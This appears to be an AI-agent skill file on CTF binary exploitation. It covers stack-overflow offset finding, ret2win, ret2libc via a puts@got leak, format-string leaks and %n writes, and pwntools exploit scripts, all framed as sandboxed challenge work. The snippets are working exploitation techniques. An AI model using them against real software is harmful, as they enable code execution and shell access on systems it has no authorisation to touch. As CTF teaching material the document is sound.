When to use / when not to use
- Use: CTF pwn challenge—stack overflow (overwrite return address), format string (leak / arbitrary write), ret2libc (leak libc and get shell)
- Use: you have the challenge binary + matching libc, and need to write an exploit script that can get shell / print the flag
- Use: entry-level ROP (ret2win / ret2shellcode / ret2libc / the first few levels of ret2csu)
- Do not use: engineered complex ROP chains / heap exploitation (fastbin / tcache) → [[re-exploit]]
- Do not use: pure reversing challenges (recover the algorithm to find the flag) → the reversing branch of [[re-ctf]] ([[re-binary-core]])
- Do not use: Windows targets ([[re-x64dbg]] / [[re-windbg]]); macOS targets ([[re-lldb]])
- Note: exploit verification is dynamic execution, run inside a sandbox by default (the highest principle of [[re-analyze/platform-tips]], see [[re-sandbox]]); after local verification passes in the sandbox, then consider connecting to the remote (pitfall 4)
Tool preparation
Refer to [[re-analyze/platform-tips]]—exploit verification is sandboxed by default; do static analysis first (disassembly / checksec) then dynamic debugging, in line with the "static first" approach.
pwntools (installed via pip) — the main workhorse for exploit scripts
pip install pwntools(official PyPI, current stable version 4.15.0; best 64-bit system support)- Python compatibility matrix (this library maintains only this one copy in re-pwn, other skills reference this location): 4.15.0 supports Python 3.8+, but the official release has already declaredthis is the last version supporting Python 2 and Python <3.10—subsequent versions are prepared according to Python >=3.10; to run on 3.8/3.9 you need to pin
pwntools==4.15.0 - Distro packages (versions may lag behind, functionality is the same): Debian/Ubuntu
sudo apt install python3-pwntools、Fedorasudo dnf install python3-pwntools、Archsudo pacman -S python-pwntools(official package from the Extra repository) - Python 3.12+ (e.g., Ubuntu 24.04 ships with 3.12) installing directly with pip will report PEP 668
externally-managed-environment—countermeasure: create a venv (python3 -m venv ~/venvs/pwn && source ~/venvs/pwn/bin/activatethen pip install), or use the distro apt package, orpip install --break-system-packages(system-level, be aware of the risk) - Verify:
pwn --version/python3 -c "import pwn; print(pwn.version)"
checksec — protection check (built into pwntools)
- Available as soon as pwntools is installed:
pwn checksec --file ./target - built into pwndbg
checkseccommand (available once pwndbg is installed, see [[re-gdb]]) - Verify:
pwn checksec --file ./targetoutput contains the Arch/RELRO/Stack Canary/NX/PIE lines
gdb + pwndbg/gef (see [[re-gdb]]) — dynamic verification
- gdb: Debian/Ubuntu
sudo apt install gdb、Fedorasudo dnf install gdb、Archsudo pacman -S gdb、macOSbrew install gdb(lldb recommended) - 32-bit target: Debian/Ubuntu need
sudo apt install gdb-multiarch(needed for 64-bit gdb to debug a 32-bit target); running a 32-bit dynamically linked program also needs 32-bit runtime librariessudo apt install libc6-i386 - choose one of pwndbg / gef (installation methods are as specified in [[re-gdb]]: pwndbg uses the official portable install script, gef uses curl to
~/.gdbinit); verify: entering gdb shows the pwndbg/gef banner
one_gadget (optional) — one-click libc RCE
gem install one_gadget(Ruby gem, one_gadget 1.10.0 requires Ruby ≥ 3.1 (declared in gemspec); Debian/Ubuntu firstsudo apt install ruby; macOS has Ruby built in,sudo gem install one_gadget)- Arch:
sudo pacman -S one_gadget(official package from the Extra repository); Fedora has no package → install via gem - Verify:
one_gadget /lib/x86_64-linux-gnu/libc.so.6(List candidate one_gadgets and their constraints)
Procedure
Execute in order; for each step's artifact (checksec output, offset, libc base, flag) record the evidence path + sha256 (see [[re-triage]] for the evidence preservation method), for citation in the writeup.
-
Vulnerability identification (checksec protections / disassembly to find dangerous functions):
file target && sha256sum target > target.sha256 pwn checksec --file target # NX / PIE / Canary / RELRO —— 决定利用路线(见坑 1)- Disassemble/decompile to finddangerous functions and input points(with [[re-binary-core]] as the base, [[re-ghidra]] / [[re-ida]] / [[re-radare2]]):
- Stack overflow:
gets/strcpy/scanf("%s")/ manualread(fd, buf, 大长度)/sprintf—— focus on whether the buffer size and input length are limited (read(fd, buf, 0x40)with a 0x20 buf is the overflow point) - Format string:
printf(user_input)/sprintf(buf, user_input)(the first argument is not a constant string) - Backdoor/flag function: strings contains
/bin/shor the function name contains win/backdoor/flag; use xref to confirm reachability
- Stack overflow:
- Record: vulnerability type, dangerous function address, input channel (stdin / remote socket), protection status (determines which route ② takes)
- Disassemble/decompile to finddangerous functions and input points(with [[re-binary-core]] as the base, [[re-ghidra]] / [[re-ida]] / [[re-radare2]]):
-
Stack overflow exploitation (offset calculation, overwriting the return address):
# 偏移计算:cyclic 生成模式串,崩溃后定位返回地址在输入中的偏移 python3 -c "from pwn import *; print(cyclic(200, n=8))" > /tmp/patt # 本地崩溃(沙箱内)→ gdb/pwndbg 看 $rsp,或直接 pwntools 一体化:from pwn import * p = process('./target'); p.sendline(cyclic(200, n=8)); p.wait() core = p.corefile # 需开启 core dump print("offset:", cyclic_find(core.pc, n=8)) # 64 位 rip 在 core.pc- Overwrite the return address to the backdoor function (ret2win):
offset * b'A' + p64(win_addr) - Note for 64-bit: before calling a function, arguments go into registers (rdi/rsi/rdx), not the stack——you need
pop rdi; ret-type gadgets to pass arguments (pitfall 5) - NX off (
pwn checksecshows NX disabled) → you can put shellcode on the stack and point the return address to it (ret2shellcode); if NX is on, go to ③ - Each round, use gdb ([[re-gdb]]) to break at the return point and verify the return address is indeed controlled (
x/10gx $rsp)
- Overwrite the return address to the backdoor function (ret2win):
-
ret2libc (PLT/GOT, libc version identification):
- Prerequisite: the overflow is controllable but the stack is non-executable (NX on) and there is no backdoor——the goal is to call libc's
system("/bin/sh"):
objdump -d target | grep -E '<puts@plt>|<printf@plt>|<system@plt>' # PLT 可调函数 objdump -R target | grep puts # GOT 存 libc 实际地址- Leak the libc address: the first ROP stage calls
puts@plt(puts@got)(rdi = puts@got, see pitfall 5) → prints out the real address ofputsin libc → return to main and run the second stage - libc version identification: if you have the libc file provided with the challenge, compute the offset locally; if not, use the leaked low 12 bits (the in-page offset is unchanged) + an online database (libc.rip / libc-database, see pitfall 2):
one_gadget ./libc.so.6 # 若有 libc 文件:直接列 one_gadget # 或用泄露的 puts 地址后 3 位 hex 查 libc-database: ./find puts 7a0 - Compute:
libc_base = leaked_puts - puts_offset;system_addr = libc_base + system_offset;binsh_addr = libc_base + binsh_offset(readelf -s libc.so.6 | grep systemandstrings -tx libc.so.6 | grep /bin/sh) - Second-stage ROP:
pop rdi; ret→ binsh_addr → system → wrap up (alignment, pitfall 5)
- Prerequisite: the overflow is controllable but the stack is non-executable (NX on) and there is no backdoor——the goal is to call libc's
-
Format string (leak / write):
# 泄露:把输入原样做 format 的参数,%p 逐个试偏移 python3 -c "print('%p.'*20)" | ./targetfrom pwn import * p = process('./target') p.sendline(b'%6$p %7$p') # %N$ 是逻辑参数列表第 N 个参数: format 占 rdi,%1$–%5$ 来自 rsi/rdx/rcx/r8/r9,%6$/%7$ 即调用者栈上第 1/2 个 8 字节 print(p.recvline())- Leak:
%N$preads the Nth argument of printf's logical argument list, not the Nth stack slot; under SysV AMD64 the format occupies RDI, the first 5 integer/pointer variadic arguments come from RSI/RDX/RCX/R8/R9, and only from the 6th onward do they come from the stack; when there is no corresponding actual argument, what is read is leftover from the call site, so the offset must be probed (go back and forth several times to locate the flag / return address / libc address, see pitfall 4 on environment differences) - Arbitrary write:
%N$nwrites the number of bytes already output to the address pointed to by the Nth argument——payload layout = target address (first 8 bytes) + offset to that address +%<len>c%N$nwrite in segments (small first, then large, or use%hhnto write byte by byte and save on byte count) - Classic targets: change a GOT entry (when RELRO is partial) to the system / win function address; or change the return address to a one_gadget
- pwntools assistance:
fmtstr_payload(offset, {got_addr: win_addr}, write_size='byte')(offsets come from actual testing, not ABI constants that can be applied directly)
- Leak:
-
Local verification (pwntools script):
from pwn import * context.binary = './target' # 自动取架构/位数/保护 context.log_level = 'debug' p = process('./target') # 本地(沙箱内);远程: remote('host', port) payload = b'A'*offset + p64(win_addr) p.sendline(payload) p.interactive() # 拿到 shell 后 cat flag- Verification discipline: run locally first → record sha256 of flag and payload → then connect to remote (pitfall 4); on failure, use gdb to locate first (set breakpoint at return point to see whether the return address hits)
- Deliverables: exploit.py (commented version) + run output (flag) + flag sha256 — for writeup reference
Cross-domain combination
- [[re-ctf]]: this skill is the pwn branch sub-skill of the CTF practice gateway — after the gateway's step 1 challenge-type identification recognizes a pwn challenge, it always dispatches this skill
- [[re-binary-core]]: disassembly/decompilation to locate dangerous functions, backdoor functions, PLT/GOT ([[re-ghidra]] / [[re-ida]] / [[re-radare2]]); the import table approach of [[re-imports]] to locate puts/system
- [[re-gdb]]: dynamic verification (break at return point / format string argument verification / get rip from core file), pwndbg's
checkseccommands - [[re-angr]]: symbolic execution assistance when overflow offset is uncertain / validation logic is complex (symbolize input to find constraints that overwrite the return address); [[re-z3]] used for computation verification of format string write addresses (minor use)
- [[re-exploit]]: advanced continuation — complex ROP (SROP / ret2dlresolve), heap exploitation, seccomp bypass
- [[re-vuln]]: pwn challenges are simplified vulnerabilities — challenge exploitation ideas map to real vulnerability discovery (crash analysis [[re-crash-triage]] / bug finding [[re-fuzzing]])
- [[re-sandbox]] / [[re-analyze/platform-tips]]: all dynamic execution and exploit verification runs in a sandbox by default (highest principle); remote targets are for verification only, do not commit real systems
Common pitfalls and traps
- All protections enabled (NX/PIE/Canary combination) requires combined exploitation: Symptom — a single ret2shellcode or ret2libc does not work: NX on makes the stack non-executable, PIE on changes the binary address every time, Canary has a random canary before the return address and aborts as soon as it is overwritten; Cause — combined protections are the norm in modern challenges, and one route cannot solve all protections; Countermeasure — combine according to checksec results: Canary → first leak the canary via format string then overflow (payload = pad + canary + pad + ret); PIE → first leak a binary address to calculate base (format string or puts leak), gadget/backdoor address = base + offset; NX+PIE+Canary all enabled = first two leaks (canary + libc/binary base) then ROP; the last 12 bits of the leaked value are the unchanged in-page offset, directly combine to calculate base (same as pitfall 2)
- libc version mismatch (all offsets wrong): Symptom — local exploit works, but
system//bin/shoffset calculated from the leaked address crashes immediately on remote, or the base calculated from the leaked address using local libc does not match at all; Cause — different libc versions have different symbol offsets (glibc 2.27 and 2.31 differ greatly in puts offset), and local/lib/x86_64-linux-gnu/libc.so.6is inconsistent with the remote environment; Countermeasure — if the challenge provides a libc file, use it (strings -tx/readelf -sto get offsets); if not provided, use the leaked low 12 bits + libc-database (./find puts 7a0) or online libc.rip to match the version, then use the matched libc to calculate all offsets; before attacking remotely, first confirm the remote libc matches local (use format string to leak the__libc_start_mainaddress for comparison) - Works locally but fails remotely (environment difference): Symptom — the exploit runs locally in a sandbox, but after connecting remotely the same payload fails (segfault/no output/timeout); Cause — differences between local and remote environments: libc version (pitfall 2), binary bit width/architecture, pwntools
contextconfiguration (wrong bit width/endianness makes p64 all wrong), stdin interaction timing (the program has printing delays/prompts), remote flag path is read-only; Countermeasures — first matchcontext.binary, locally use the same libc version and system provided by the challenge (patchelf --set-interpreter+--replace-neededswitch to the same local libc to get it working); remote scripts uniformlyremote()+ carrysleep/recvuntiltiming handling; local validation addsetvbuf/prompt difference simulation; ultimately use the remote libc file provided by the challenge as the standard - 64-bit argument passing (rdi): Symptom — in 64-bit program ROP, directly "placing arguments on the stack" (32-bit habit),
systemreports a segfault or calls a nonexistent address; Cause — in the x86-64 SysV ABI the first 6 arguments go in registers (rdi/rsi/rdx/rcx/r8/r9), not on the stack; ROP needspop rdi; retto pop the value on the stack into rdi and then ret to the target function; second cause —callafter$rspis not 16-byte aligned,movaps-type instructions crash directly (common in newer glibc versions); Countermeasures —ROPgadget --binary target | grep 'pop rdi'or ropper--search "pop rdi"to find gadgets (see [[re-exploit]]); gadget chain before each call segment =pop rdi; ret→ arguments → target address;systembefore the stack address first+8(align ret) or useretgadget to adjust; only 32-bit targets use pure stack argument passing - Format string offset determined incorrectly / write crashes: Symptom —
%6$pthe value read does not match the expected stack layout, or%nafter writing the program crashes directly; Cause — wrong offset number (argument positions differ across compilations/platforms, and the input itself also occupies a position on the stack); write target address not writable (GOT is read-only under full RELRO, writing to an illegal address); wrong segmented write order (writing a small value from a large value causes an infinite loop); Countermeasures — first use%pto fully dump and align the stack layout (python3 -c "print('%p.'*30)"), record which argument position the input itself falls into (it is often the offset baseline); before writingpwn checksecconfirm whether GOT is writable (only partial RELRO works);%hhnwrite byte by byte and sort from smallest to largest; at each step use gdb to verify that the target address content has indeed been changed